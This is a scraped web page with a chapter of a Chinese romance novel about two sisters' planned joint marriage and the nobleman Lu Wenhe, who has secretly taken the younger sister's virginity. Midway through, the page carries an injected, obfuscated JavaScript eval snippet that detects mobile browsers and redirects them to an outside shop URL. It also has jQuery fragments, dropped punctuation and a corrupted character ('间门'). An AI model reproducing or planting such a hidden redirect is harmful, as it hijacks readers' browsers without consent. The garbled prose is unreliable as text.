裙裾处繁复的花纹,随着秦拂的脚步轻移,荡漾出优美的弧度。跟在秦拂身后的丫鬟,只抬眸瞧了秦拂的神色,便心中会意,并没有走进屋内。层层玫红薄纱掩映下,依稀可以看到宝扇纤细的身姿。
秦拂伸出素手,轻轻撩起玫红薄纱,蒸腾的热气,夹杂着淡雅的花香,扑面而来。秦拂面容未变,走到宝扇面前。
宝扇已经转过身,狭窄的浴桶中传来阵阵响声。宝扇心中微跳,垂眸向下看去,唯恐自己身上的异样,被秦拂瞧去。清水中漂浮的花瓣,遮掩住了宝扇白皙的肌肤,她见此情状,心中微定,声音弱弱地唤道:“长姐。
秦拂低眉看她,因为周身浸泡在热水中,宝扇洁白如玉的肌肤上,泛着薄薄的粉色,好似枝头挂着的,鲜嫩多汁的嫩桃子。诱的人垂涎欲滴,只想张开口,咬上那光滑细腻的肩。秦拂轻声应了,或许是屋中弥漫的花香味道清新怡人,让她拢紧的眉峰得以舒展。
“你出府去了。
她语气笃定,不容分辩。
宝扇怯怯道:“是。
不待秦拂继续询问,宝扇便黛眉蹙起,嗫喏着开口:“郊外的花开的极好,忘记了时辰,回来迟了。长姐,我日后定不会如此。
看着宝扇桃腮粉颊,双眸水光盈盈的模样,秦拂恍惚记忆起宝扇的年纪,正是贪玩活泼的年岁,却是一副怯懦的性子。若宝扇是堂堂正正的嫡女,这般惹人怜爱的模样,母亲定会给她找个好人家,身份地位不必太高,能被秦府随意拿捏最好,再将宝扇嫁过去,夫婿定然只能捧着宠着,不敢有所怠慢。只是宝扇是庶女,生身母亲是上不得台面的姨娘,这样的身份,怕没有什么好去处。
思绪回转,秦拂语气肃然:“多待在府中,性子娴静些才好。
宝扇乖巧称是,用一双仰视的水眸注视着秦拂:“我听长姐的。
见宝扇这般乖巧,秦拂心中微动,有意将自己的打算告诉宝扇。秦拂相信,依照宝扇温顺听话的性子,定然会铭记于心,恪守本分,不然——男子多擅花言巧语,依照宝扇这般软弱可欺的性子,恐怕会被旁人轻易骗了去。
秦拂淡淡开口道:“你的婚事,父亲母亲自有打算。
闻言,宝扇面颊绯红,满是羞意,她怯怯地垂下脑袋,不看秦拂的眼睛,只低头瞧着清水中漂浮的花瓣。
秦拂继续道:“待我的婚事定下后,你便同我一起嫁过去。我为妻,你为妾。我并非是容不得妾室的人,但也不至于良善到什么妾室都能接受。待你一同嫁过去后,
吃喝穿用与侧夫人无甚差别。不过——”
秦拂语气稍顿。看着宝扇面色发白身子轻颤的可怜模样仍旧继续说了下去。
“你也要挣气将你我二人的夫君捏在手心让他再想贪花好色也无甚力气。”
花瓣之间门有微小的缝隙。清水中倒映着宝扇摇摇欲坠的身子。秦拂见不得她这副没用的模样伸手抬起了宝扇的下颌迫使她直视着自己。
秦拂心道宝扇性子柔弱任凭旁人欺辱也不知道反抗。可是她不一样待两人出嫁后她诞下嫡子便让宝扇使尽手段将夫君牢牢抓在手心。秦拂并不担心宝扇的心机不够有她作为仰仗即使其他女子心思再多也无计可施只能乖乖地待在后宅。
宝扇浓密纤细的眼睫轻颤轻声道:“可是夫君是长姐的夫君我怎么能沾染。”
见到宝扇并非是心中不愿而是在为自己考虑秦拂紧绷的眉眼微松语气和缓了许多:“我是正妻更是后宅的主人。而你应当是宠妾。”
令未来夫君爱不释手魂牵梦绕的温柔乡。
宝扇柔声道:“我信长姐只是担心会做不好给长姐惹麻烦……”
乌黑柔软的发丝垂落于脆弱的脖颈处因为被清水润湿附着在细腻皎白的肌肤上纯粹与欲念交织清纯与媚色融为一体。
秦拂抬手微凉的手指掠过宝扇的脸颊将那缕发丝别在耳后。
“你什么都不必做只需要听话便好。”
这般姝丽颜色稍作教导便能成事。
秦拂走后宝扇没了沐浴的心思。她从浴桶中走出用绵软的棉帕将玲珑有致的身子尽数包裹起起来。宝扇垂眸看着清水中的自己浑身都带着湿气。宝扇玉指伸出微微掀开身上的棉帕露出青红交加的痕迹。粼粼水波中倒映着她柔弱的脸蛋。
“若是长姐知道我已经没了清白定会勃然大怒罢。”
“陆世子夺走旁人的清白却不愿意为此付出代价当真不是君子所为。”
……
陆国公在屋子前面来来回回地踱步却终究下不了决心去叩门。陆国公德高望重滔天权势在手从未惧怕过谁唯有对唯一的嫡子——陆闻鹤有几分畏惧。自从嫡长子离世后陆国公便将陆闻鹤接回府中看到陆闻鹤对自己姿态恭敬
暗道自己是魔怔了:陆闻鹤离开国公府时才四岁不到能记住什么事何况他不是将陆闻鹤重新迎回国公府给他锦衣玉食的生活如何对不住他。而且陆闻鹤是国公府的世子他身为尊长怎么会心生惧怕。
陆国公抬手准备叩门。
门被打开陆闻鹤看到陆国公唤了声:“父亲。”
陆国公清咳两声将自己的来意说出:“你如今也已经到了成亲的年纪。成家立业二者缺一不可。这城中的贵女中你可有中意的?”
国公府上多有宴会也是为了借宴会之名好能相看贵女。
闻言陆闻鹤脑海中浮现大片雪白滑腻的肌肤晃人心神。婉转轻柔的哭泣声仿佛回响在耳边令陆闻鹤耳尖酥麻发软。他抬起眼眸漆黑的瞳孔仿佛波涛平静的海面。
陆闻鹤声音平稳:“没有。”
宝扇算不得他中意的女子只是他的物件罢了。
陆国公轻声叹息将一卷名册递到陆闻鹤面前叮嘱道:“若是相中了哪家贵女早早上门提亲。”
陆闻鹤翻开名册手指从那些贵女的名字上轻轻移过在看到“秦家女”时神色微顿。
陆国公见状顿时了然轻声笑道:“秦家嫡女端庄有礼是位佳妇。而且听闻秦家有意效仿娥皇女英将嫡女庶女同嫁一夫。你若是迎娶了秦家女又能另得美妾。”
想起游春宴上胆小怯懦的宝扇宛如丫鬟般跟随在秦拂身后陆闻鹤眼眸微动原本想要脱口而出的拒绝顿时话语一转便成了:“既然如此
本朝男女大防并不算森严。盲婚哑嫁之事仍旧存在。但男女成亲之前便能以相看之名彼此会面。若是两两情愿可以顺水推舟成就一番美事。若是一方有所不愿还未下聘便可以随意找个由头退掉这门亲事。
陆闻鹤此言便是同意了男女相看。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414640|87904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
陆国公连声说好只道秦拂名声极好惹得他石头心肠的儿子也动了心思。
“此事由你娘亲自操办定然让你与秦府嫡女早日相看。”
陆闻鹤手指虚点落在了宝扇的名字上他眉峰微扬声音慵懒似乎是随口一问:“既然是二女嫁夫只看娥皇如何够?”
陆国公神情微怔觉得陆闻鹤这番话有几分古怪但他仔细捉摸又觉得确有道理。既然秦家嫡女庶女同嫁相看也需要二女一道。
“便依你所言。”
陆闻鹤抬脚离开。角落里三五个小
厮闲暇无事,找个僻静处聚成一团。暖融融的日光,泼洒在人的身上,让几个小厮越发觉得疲倦。思绪倦怠之际,小厮们更想找个乐子。不知是谁开的头,他们眉飞色舞,唾沫横飞地讲着自己的相好。连床榻上的事情,都仔细说出,不作丝毫隐瞒。如此露骨的言辞,若是叫旁人听见了,定然面红耳赤,掩面逃走。
小厮正满脸涨红的讲着,余光瞥见华服锦袍的衣角,顿时冷汗直冒,半张着嘴巴慌忙跪在地面。
“……世子爷!”
陆闻鹤眉峰拢起,不理会身子颤抖成筛糠的小厮们,他薄唇轻抿,心道:原来那般的姿势……极其容易令女子受孕。
而宝扇的腹中,是否也是如此。
思虑至此,陆闻鹤神色愈冷,怀了他的孩子,竟然还要效仿娥皇女英,嫁给旁人,当真是极大的胆子。从薄唇间门,泄露出一丝冷笑。原本便心如鼓躁的小厮们,面上越发惶恐不安。陆闻鹤轻轻摩挲着腰间门的蟠龙吐珠玉佩,心道:落水时,他救了宝扇,宝扇不来寻他。而今,他要了宝扇的清白,宝扇亦不肯来寻他。
陆闻鹤心思非常人能揣测,若是宝扇如他所愿,来了国公府,央求着陆闻鹤给她一个名分。抑或是,因为将清白给了陆闻鹤,这让宝扇生出了拿捏的心思,以此胁迫陆闻鹤,以正妻之名抬她进府,否则便要陆闻鹤名声扫地,戳破他伪君子的面容。到那时,陆闻鹤便会觉得索然无味,冰肌玉骨固然让人流连忘返,但——只值得当做藏品,而不值得呵护爱惜。
陆闻鹤决心,要等宝扇来时,好生欣赏一番她脸上张惶失措的可怜模样。他抬眸,看着身子发抖的小厮们,声音平静:“自己去领罚。”
……
绣坊。
尹小姐面颊羞红,踱着步子走到谢观身旁,她将自己选中的布料拿给谢观看。
雪青,藕白……
谢观心不在焉,颇为敷衍地点点头,将一个沉甸甸的钱袋子,扔到店家手中,朗声道:“都要了。”
尹小姐脸蛋越发红了,只道自己寻了个好夫婿。想起店家刚才的言辞,尹小姐轻声道:“这家绣娘手艺极好,尤其擅做喜服。”
喜服上的凤凰展翅,绣的栩栩如生。而喜被的瓜瓞绵绵,象征多子多福,听闻经过这家绣娘刺绣过的喜被,多是夫妻恩爱,子孙满堂。
看到谢观颔首,尹小姐便让店家将成衣的喜服取出来。
映入眼帘的是漫天的赤红,丝线彼此相连。这样绣工精妙的喜服,尹小姐自然是欢喜的。而一旁的谢观,此时却微微愰神。
他想起了宝扇。
这样的喜服,穿在宝扇身上,定然是极美的,足以令世间门所有男子心折。